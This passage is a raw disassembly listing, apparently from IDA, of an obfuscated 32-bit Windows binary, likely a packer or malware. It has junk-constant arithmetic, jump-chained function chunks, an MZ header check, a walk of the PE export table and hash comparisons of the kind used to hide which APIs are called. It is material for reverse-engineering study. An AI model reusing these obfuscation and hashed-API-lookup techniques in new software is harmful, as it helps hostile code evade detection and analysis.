		mov	edx, [ebp+8]
		jmp	loc_425164
; ---------------------------------------------------------------------------


loc_423EE2:				; CODE XREF: sub_424631:loc_426619j
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_42516C
		mov	eax, [ebp+8]
		jmp	loc_42729D
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D99


loc_423EF4:				; CODE XREF: sub_424D99-1170j
		jno	loc_424EEC


loc_423EFA:				; CODE XREF: sub_424D99:loc_423C1Aj
		xor	ebx, 7AD55981h
		add	ebx, 0DC898EAh
		call	sub_428945
; END OF FUNCTION CHUNK	FOR sub_424D99
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_423F0B:				; CODE XREF: sub_4262C5-2A16j
		jmp	loc_423B1F
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A58


loc_423F10:				; CODE XREF: sub_427A58+Cj
		call	sub_42774F


loc_423F15:				; CODE XREF: sub_427E85:loc_426E75j
		push	eax
		call	sub_427A36
		call	sub_4278B9

locret_423F20:				; CODE XREF: hjohnhn9:loc_425D6Aj
		retn
; END OF FUNCTION CHUNK	FOR sub_427A58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_423F21:				; CODE XREF: sub_425BD2:loc_424517j
		not	esi
		jnb	loc_426EFE
		js	loc_425E20
		ror	ebp, 17h
		jge	loc_4263A0
		jmp	loc_427951
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_423F3D:				; CODE XREF: hjohnhn9:0042499Dj
					; sub_427D9D-18D3j ...
		mov	eax, [ebp-4]
		call	sub_424B30


loc_423F45:				; CODE XREF: sub_4238CC+2748j
		push	517EEA18h
		pop	eax
		add	eax, 86BC7F46h
		rol	eax, 1Fh
		add	eax, 0B296A58h
		xor	eax, 770F05C3h
		jmp	loc_427970
; END OF FUNCTION CHUNK	FOR sub_424631

; =============== S U B	R O U T	I N E =======================================



sub_423F65	proc near		; DATA XREF: sub_42304F:loc_428AA2o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424A92 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424F8B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00425220 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004252A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426C64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427550 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004275EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428287 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00428BF7 SIZE 00000010 BYTES

		call	sub_424A28
		test	al, al
		jz	loc_425220
		jmp	loc_4275EE
sub_423F65	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F77	proc near		; CODE XREF: sub_424698+1p
					; hjohnhn9:00426A6Bj

; FUNCTION CHUNK AT 00423F91 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426B0E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_426B0E
sub_423F77	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_423F86:				; CODE XREF: sub_424161+2B2Fj
		adc	edx, 0AEB1EF27h
		jmp	sub_423B84
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F77


loc_423F91:				; CODE XREF: sub_423F77:loc_426B0Ej
		push	offset loc_425257
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_423F77
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		mov	ch, [edi]
		add	es:[eax], al
		jmp	sub_425D27
; ---------------------------------------------------------------------------


loc_423FA6:				; CODE XREF: hjohnhn9:00428FC7j
		xchg	esi, [esp]
		pop	esi
		call	sub_424AE3
		jmp	loc_4231DA
; ---------------------------------------------------------------------------
		jmp	locret_424ADD

; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: hjohnhn9:00425C78j
					; sub_423444:loc_4270EEj ...

; FUNCTION CHUNK AT 004234D3 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 4622B2B0h
		push	offset loc_428B71
		jmp	loc_4234D3
sub_423FB9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426671


loc_423FCD:				; CODE XREF: sub_426671-351j
		and	ebp, 0D2F88BF4h


loc_423FD3:				; CODE XREF: sub_426671:loc_427895j
		call	sub_424877
		push	2F846F14h
		pop	edx
		add	edx, 0ADE8F686h
		jmp	loc_42316A
; END OF FUNCTION CHUNK	FOR sub_426671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_423FE9:				; CODE XREF: sub_424A78:loc_4242DEj
		push	74F9BCB9h
		pop	esi
		sub	esi, 0A4C08EC8h
		xor	esi, 7E616109h
		add	eax, esi
		jmp	loc_427984
; END OF FUNCTION CHUNK	FOR sub_424A78
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D99


loc_424003:				; CODE XREF: sub_424D99+12j
		jmp	loc_423C1A
; END OF FUNCTION CHUNK	FOR sub_424D99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_424008:				; CODE XREF: sub_42466E-AB0j
		jz	loc_427947
		jmp	loc_424542
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_424013:				; CODE XREF: sub_424819:loc_4282C4j
		xchg	esi, [esp+0]
		push	8B98A8E8h
		xchg	esi, [esp+4+var_4]
		mov	ebx, esi
		pop	esi
		and	ebx, 0F5022639h
		jmp	loc_423C02
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_42402C:				; CODE XREF: sub_42466E-121j
		jnz	loc_42857C
		cdq


loc_424033:				; CODE XREF: sub_42466E:loc_423BB8j
		push	edx
		push	0E7131BE6h
		jmp	loc_427BEE
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_42403E:				; CODE XREF: sub_4265CD-1E7Bj
					; hjohnhn9:004261FBj
		popf
		jno	loc_42888D


loc_424045:				; CODE XREF: sub_4265CD-1E89j
		sub	eax, 74CBAB60h
		or	eax, 724E4ED9h
		jmp	loc_427A9C
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------


loc_424056:				; DATA XREF: sub_423F65+4C98o
		add	eax, 0D7B18CA1h
; START	OF FUNCTION CHUNK FOR sub_424161


loc_42405C:				; CODE XREF: sub_424161:loc_4271FDj
		xchg	eax, [esp+0]
		jmp	loc_424521
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_424064:				; CODE XREF: sub_427852:loc_42823Fj
		mov	eax, [eax+24h]


loc_424067:				; CODE XREF: sub_42363F+3E5Aj
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_4242E8
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428271


loc_424073:				; CODE XREF: sub_428271-16EDj
		add	eax, [esp+0]
		jmp	loc_42350B
; END OF FUNCTION CHUNK	FOR sub_428271
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_42407B:				; CODE XREF: sub_423CDB:loc_427449j
		shr	edx, 5
		sbb	ecx, 0CB4525A9h
		jmp	loc_427B9C
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------


loc_424089:				; CODE XREF: hjohnhn9:00423490j
		push	offset loc_423302
		jmp	locret_428297
; ---------------------------------------------------------------------------
		shl	edx, 4
		jmp	sub_426671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_42409B:				; CODE XREF: sub_4260BD-23FEj
		jl	loc_42833C
		mov	esi, eax
		jns	loc_4234D3
		jmp	loc_428337
; END OF FUNCTION CHUNK	FOR sub_4260BD

; =============== S U B	R O U T	I N E =======================================



sub_4240AE	proc near		; DATA XREF: sub_427345-3DBEo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00426DBA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042769B SIZE 0000001A BYTES

		mov	eax, [ebp-4]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		jmp	loc_426DBA
sub_4240AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240BC	proc near		; CODE XREF: sub_428357-508Cp
					; hjohnhn9:00428E34j

; FUNCTION CHUNK AT 004234AC SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-8]


loc_4240C3:				; CODE XREF: hjohnhn9:00426ACCj
		shl	eax, 0Fh
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		jmp	loc_4234AC
sub_4240BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_4240D4:				; CODE XREF: sub_425CB3:loc_4232E6j
		xchg	ecx, [esp+0]
		push	0
		call	sub_4270CF
		push	eax
		mov	eax, esp
		jmp	loc_4244B2
; END OF FUNCTION CHUNK	FOR sub_425CB3

; =============== S U B	R O U T	I N E =======================================



sub_4240E6	proc near		; CODE XREF: hjohnhn9:0042430Ap
					; hjohnhn9:00426CFDj

; FUNCTION CHUNK AT 0042744E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428AFF SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	ds:dword_426E3C, 0
		jnz	loc_427FBF
		lea	edx, [ebp-14h]
		jmp	loc_428AFF
sub_4240E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4240FF:				; CODE XREF: hjohnhn9:00428ADEj
		jo	loc_428F8E
		add	edi, eax
		jmp	loc_42476D
; ---------------------------------------------------------------------------


loc_42410C:				; CODE XREF: hjohnhn9:00423478j
		add	eax, 28h
		mov	[ebp-4], eax
		jmp	loc_4266B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269BD


loc_424117:				; CODE XREF: sub_4269BD+17j
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		push	offset loc_427C74
		jmp	loc_4266AB
; END OF FUNCTION CHUNK	FOR sub_4269BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E54


loc_424127:				; CODE XREF: sub_427E54+11j
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		mov	eax, [eax]
		jmp	loc_423E31
; END OF FUNCTION CHUNK	FOR sub_427E54
; ---------------------------------------------------------------------------
		js	loc_427FB5
		push	ecx
		jmp	sub_427345
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42345B


loc_424145:				; CODE XREF: sub_42345B+544Dj
		add	ecx, 0E02DF608h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_426B55
; END OF FUNCTION CHUNK	FOR sub_42345B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_424153:				; CODE XREF: sub_424698-D92j
		jz	loc_4261D5
		jmp	loc_4241A5
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423D1C


loc_42415E:				; CODE XREF: sub_423D1C+10j
		ror	edi, 1Ch
; END OF FUNCTION CHUNK	FOR sub_423D1C

; =============== S U B	R O U T	I N E =======================================



sub_424161	proc near		; CODE XREF: sub_424A78:loc_4242D9p

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042312B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004231F0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004234B1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00423B50 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00423C90 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00423CC4 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00423ECC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423F86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042405C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00424521 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042457E SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00424D68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424F86 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004251B2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00425BB8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426054 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00426655 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426C7F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00426E7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004271FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004279DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427BE6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004284ED SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004285C1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004288F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429022 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jno	loc_4285C1
		test	byte ptr [ebp-8], 40h
		jz	loc_423C90
		push	ebp
		jmp	loc_427BE6
sub_424161	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42417B:				; CODE XREF: hjohnhn9:00426736j
		jns	loc_426C3C

; =============== S U B	R O U T	I N E =======================================



sub_424181	proc near		; CODE XREF: sub_426098+Cp

; FUNCTION CHUNK AT 004283C4 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-4], eax
		jmp	loc_4283C4
sub_424181	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E85


loc_42418D:				; CODE XREF: sub_427E85+10j
		push	eax
		call	sub_427A36
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_423415
		call	sub_4242A0
; END OF FUNCTION CHUNK	FOR sub_427E85
; START	OF FUNCTION CHUNK FOR sub_424698


loc_4241A5:				; CODE XREF: sub_424698-53Fj
		jmp	loc_428BE8
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------


loc_4241AA:				; CODE XREF: hjohnhn9:00426E2Fj
		push	87A17FD1h
		pop	esi
		xor	esi, 8FC8532Bh
		rol	esi, 13h
		jmp	loc_428B6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_4241BE:				; CODE XREF: sub_423BC3:loc_425F6Ej
		mov	eax, edi
		pop	edi
		and	eax, 986F907Ch
		test	eax, 10h
		jmp	loc_427A7E
; END OF FUNCTION CHUNK	FOR sub_423BC3

; =============== S U B	R O U T	I N E =======================================



sub_4241D2	proc near		; CODE XREF: sub_427B51+17j

; FUNCTION CHUNK AT 004242D6 SIZE 00000003 BYTES

		push	ebp
		mov	eax, [ebp-20h]
		call	sub_428162


loc_4241DB:				; CODE XREF: sub_427FCE+Aj
		jmp	loc_4242D6
sub_4241D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4241E0:				; CODE XREF: hjohnhn9:004242FBj
		push	ebp

; =============== S U B	R O U T	I N E =======================================



sub_4241E1	proc near		; CODE XREF: sub_425D47+9p

; FUNCTION CHUNK AT 0042310F SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	[ebp-8], eax
		push	offset sub_423921
		jmp	loc_42310F
sub_4241E1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4241F3	proc near		; CODE XREF: sub_4244F5+18p
					; hjohnhn9:00428299j
		xchg	esi, [esp+0]
		pop	esi
		add	eax, [ebp-4]
		call	sub_427F90
		cmp	eax, [ebp-8]
		call	sub_4290CF

locret_424207:				; CODE XREF: sub_42859A-D0Aj
		retn
sub_4241F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_424208:				; CODE XREF: sub_427C9B+79j
		jmp	loc_428E0C
; END OF FUNCTION CHUNK	FOR sub_427C9B

; =============== S U B	R O U T	I N E =======================================



sub_42420D	proc near		; DATA XREF: sub_42325E+5CC4o
		pop	esi
		mov	word ptr [eax],	205Dh
		call	sub_424335
sub_42420D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42304F


loc_424218:				; CODE XREF: sub_42304F:loc_4260B8j
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_4273B2
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_4273B2
		jmp	loc_428079
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_424238:				; CODE XREF: sub_4244F5:loc_424512j
		jl	loc_424B00
		xchg	ebx, [eax]
		sbb	ebx, 0E185253Bh
		jmp	loc_424AF9
; END OF FUNCTION CHUNK	FOR sub_4244F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_42424B:				; CODE XREF: sub_42466E:loc_427DC7j
		jl	loc_426433
; END OF FUNCTION CHUNK	FOR sub_42466E
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_424251:				; CODE XREF: sub_427AC0-1714j
		jmp	loc_42390C
; END OF FUNCTION CHUNK	FOR sub_427AC0
; ---------------------------------------------------------------------------
		adc	edx, 0F4D044CAh
		jmp	loc_42642D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_424261:				; CODE XREF: sub_42325E+3EFDj
		call	sub_427AC0
; END OF FUNCTION CHUNK	FOR sub_42325E
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_424266:				; CODE XREF: sub_425BD2+134Dj
		jmp	loc_4286F1
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------


loc_42426B:				; CODE XREF: hjohnhn9:00423DF1j
		jl	loc_423D06
		or	edi, 0C113892Dh
		jmp	loc_423CFC
; ---------------------------------------------------------------------------
		push	offset sub_423D1C
		jmp	loc_423B39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D64


loc_424286:				; CODE XREF: sub_428D64-20j
		mov	cl, [ebp-0Bh]
		xor	edx, edx
		mov	dl, [ebp-9]
		shr	edx, cl
		jmp	loc_42876C
; END OF FUNCTION CHUNK	FOR sub_428D64
; ---------------------------------------------------------------------------
		and	ebp, eax
		jmp	loc_42429D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42429D:				; CODE XREF: hjohnhn9:00424297j
		shl	ecx, 0Ah

; =============== S U B	R O U T	I N E =======================================



sub_4242A0	proc near		; CODE XREF: sub_427E85-3CE5p

; FUNCTION CHUNK AT 00427877 SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, [ebp-125h]
		jmp	loc_427877
sub_4242A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4242AF:				; DATA XREF: sub_4285DF+2o
		push	0AFEC22B3h
		pop	ebx
		and	ebx, 5A0EB2A0h
		add	ebx, 1C34A6B3h
		jmp	loc_4271AE
; ---------------------------------------------------------------------------


loc_4242C6:				; CODE XREF: hjohnhn9:loc_42327Ej
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_42476D
		jmp	loc_428414
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241D2


loc_4242D6:				; CODE XREF: sub_4241D2:loc_4241DBj
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_4241D2
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_4242D9:				; CODE XREF: sub_42626F:loc_42302Cj
					; sub_424A78+1A7j ...
		call	sub_424161


loc_4242DE:				; CODE XREF: sub_428CAF-1C54j
		jmp	loc_423FE9
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_4242E3:				; CODE XREF: sub_424819+15Dj
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_4242E8:				; CODE XREF: sub_427852-37E4j
		jmp	loc_428DDF
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		push	ecx
		jmp	loc_4245DF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_4241E0
; ---------------------------------------------------------------------------


loc_424300:				; DATA XREF: sub_424877-222o
		mov	eax, offset dword_425AEC
		call	sub_427C43
		call	sub_4240E6


loc_42430F:				; CODE XREF: hjohnhn9:00428CFBj
		jmp	loc_42783E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_424314:				; CODE XREF: sub_424631:loc_426650j
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		and	eax, 7
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		jnb	loc_424F28
		jmp	loc_4277A2
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------


loc_42432F:				; CODE XREF: hjohnhn9:00423B33j
		jns	loc_426D35

; =============== S U B	R O U T	I N E =======================================



sub_424335	proc near		; CODE XREF: sub_42420D+6p

; FUNCTION CHUNK AT 00425147 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428723 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_424AAE
		push	eax
		pop	edx
		jmp	loc_428723
sub_424335	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424345	proc near		; CODE XREF: hjohnhn9:00426E81j
					; sub_427C9B+38p
		xchg	esi, [esp+0]
		pop	esi
		call	sub_424354
		retn
sub_424345	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278EC


loc_42434F:				; CODE XREF: sub_4278EC-4D5j
		jmp	nullsub_42
; END OF FUNCTION CHUNK	FOR sub_4278EC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424354	proc near		; CODE XREF: sub_424345+4p
		push	ebp
		mov	ebp, esp
		push	offset sub_4251D3
		jmp	nullsub_114
sub_424354	endp


; =============== S U B	R O U T	I N E =======================================



sub_424361	proc near		; CODE XREF: sub_427032+E18p
					; hjohnhn9:004290B5j

; FUNCTION CHUNK AT 0042702D SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_3
		pop	ecx
		pop	ecx
		jmp	loc_42702D
sub_424361	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424377	proc near		; CODE XREF: sub_427AEB+3j

; FUNCTION CHUNK AT 00424E8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042777F SIZE 00000011 BYTES

		add	esp, 0FFFFFFF8h
		jmp	loc_424E8A
sub_424377	endp

; ---------------------------------------------------------------------------
		add	eax, 8E0D00EBh
		jmp	sub_424D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_42438A:				; CODE XREF: sub_4278DC-277Dj
		push	esi
		push	0CBBD7B78h
		pop	esi
		rol	esi, 0Bh
		and	esi, 62155165h
		jmp	loc_42809A
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_42439F:				; CODE XREF: sub_4244F5:loc_4290DFj
		call	sub_427F90
		cmp	eax, [ebp-8]
		jnz	loc_426F70
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_4274F7
; END OF FUNCTION CHUNK	FOR sub_4244F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42345B


loc_4243BD:				; CODE XREF: sub_42345B:loc_426FCFj
		mov	ebp, esp
		push	edi
		push	0C7AA9249h
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_428522
; END OF FUNCTION CHUNK	FOR sub_42345B
; ---------------------------------------------------------------------------
		cmp	eax, edx
		jmp	loc_426597
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_4243D4:				; CODE XREF: sub_4237F4+125Cj
		or	edi, ecx
		shr	edi, 18h


loc_4243D9:				; CODE XREF: hjohnhn9:loc_425EB4j
					; sub_4237F4:loc_426B2Fj
		call	sub_424877
		mov	edx, 19CFC62Bh
		call	sub_4279ED
		call	sub_426DFB


loc_4243ED:				; CODE XREF: sub_424631+2276j
		jmp	loc_4233E6
; END OF FUNCTION CHUNK	FOR sub_4237F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_4243F2:				; CODE XREF: sub_42304F:loc_426833j
					; sub_427810:loc_42781Aj
		mov	eax, ebx
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278EC


loc_4243F7:				; CODE XREF: sub_4278EC:loc_427D42j
					; sub_4278EC+5CCj
		mov	eax, ds:dword_423944
		mov	al, [eax]
		sub	al, 99h
		jmp	loc_42740A
; END OF FUNCTION CHUNK	FOR sub_4278EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424831


loc_424405:				; CODE XREF: sub_424831:loc_4276B6j
		add	esi, 25EFCEBCh
		mov	[esi], eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_424831
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F90


loc_42440F:				; CODE XREF: sub_427F90+FF9j
		jmp	loc_428496
; END OF FUNCTION CHUNK	FOR sub_427F90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_424414:				; CODE XREF: sub_423B05+Fj
		rol	eax, 11h
		push	eax
		jmp	loc_424B3F
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_42441D	proc near		; CODE XREF: hjohnhn9:00424C07j
					; sub_425029+3976p

; FUNCTION CHUNK AT 00423031 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042674F SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_423031
		mov	eax, [ebp-8]
		jmp	loc_42674F
sub_42441D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42442F	proc near		; DATA XREF: sub_426A78:loc_42377Bo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424F52 SIZE 00000005 BYTES

		rol	eax, 11h
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		call	sub_4244F5
		jmp	loc_424F52
sub_42442F	endp

; ---------------------------------------------------------------------------
		test	ebx, eax
		jmp	loc_4280AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_424449:				; CODE XREF: sub_4265CD-3090j
		jz	sub_423AAF
		jmp	loc_426B68
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_424454:				; CODE XREF: sub_425BD2+3439j
		jz	loc_428771
		cmp	ebx, edi
		jmp	loc_42477C
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
		jnp	loc_4268A4
		jmp	loc_423C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_42446C:				; CODE XREF: sub_4279C0-1B31j
		call	sub_42851A
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	edx, 4
		mov	edx, [edx]
		jmp	loc_4263B1
; END OF FUNCTION CHUNK	FOR sub_4279C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427032


loc_424480:				; CODE XREF: sub_427032:loc_423806j
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_427039
		retn
